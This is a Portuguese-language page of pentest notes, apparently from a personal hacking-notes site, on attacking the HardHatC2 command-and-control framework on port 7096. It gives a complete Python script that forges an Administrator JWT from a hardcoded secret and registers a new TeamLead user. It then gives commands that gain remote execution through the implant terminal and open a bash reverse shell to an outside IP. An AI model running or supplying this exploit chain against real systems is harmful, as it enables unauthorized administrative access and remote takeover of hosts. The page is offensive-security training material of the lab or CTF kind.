> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/hardhatc2-7096.md).

# HardHatC2 - 7096

{% hint style="info" %}
HardHatC2 é uma estrutura multiusuário de comando e controle (C2) baseada em C# e .NET, projetada para operações de red team e testes de penetração. Ela inclui um Team Server em ASP.NET, um cliente Blazor .NET e implantes C# integrados, com suporte a implantes de terceiros em outras linguagens.
{% endhint %}

<figure><img src="/files/de2fb3d9aceb5d7f0906aa3fdf3108729d751099" alt=""><figcaption></figcaption></figure>

## **Bypass de Autenticação do HardHat C2**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Use o script a seguir para contornar a autenticação e criar um novo usuário:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Crie o JWT de Administrador  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("JWT gerado:")  
print(token)  
  
# Use o JWT de Administrador para criar um novo usuário 'sth_pentest' como TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

O script gera o `jordan` usuário com a `TeamLead` função.

<figure><img src="/files/fe58b686755cfa53d29c811cb49214281dc3ca77" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a65940f377adcc80969c6e96a2d06a2bd2e3a7c5" alt=""><figcaption></figcaption></figure>

## RCE do HardHat C2

No `ImplantInteract` seção, o acesso ao terminal está disponível. Executando `whoami` mostra que o usuário atual é `sergej`.

<figure><img src="/files/fc35bf9437c768f751a7ac68d53ae6b69ae9515e" alt=""><figcaption></figcaption></figure>

Estabeleça um shell reverso como `sergej` enquanto escuta na porta 443:

```bash
nc -nlvp 443
```

Execute o comando a seguir para iniciar a conexão reversa:

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

<figure><img src="/files/84af48683abf7908d54bc4c597b875eee73d0ea2" alt="" width="563"><figcaption></figcaption></figure>


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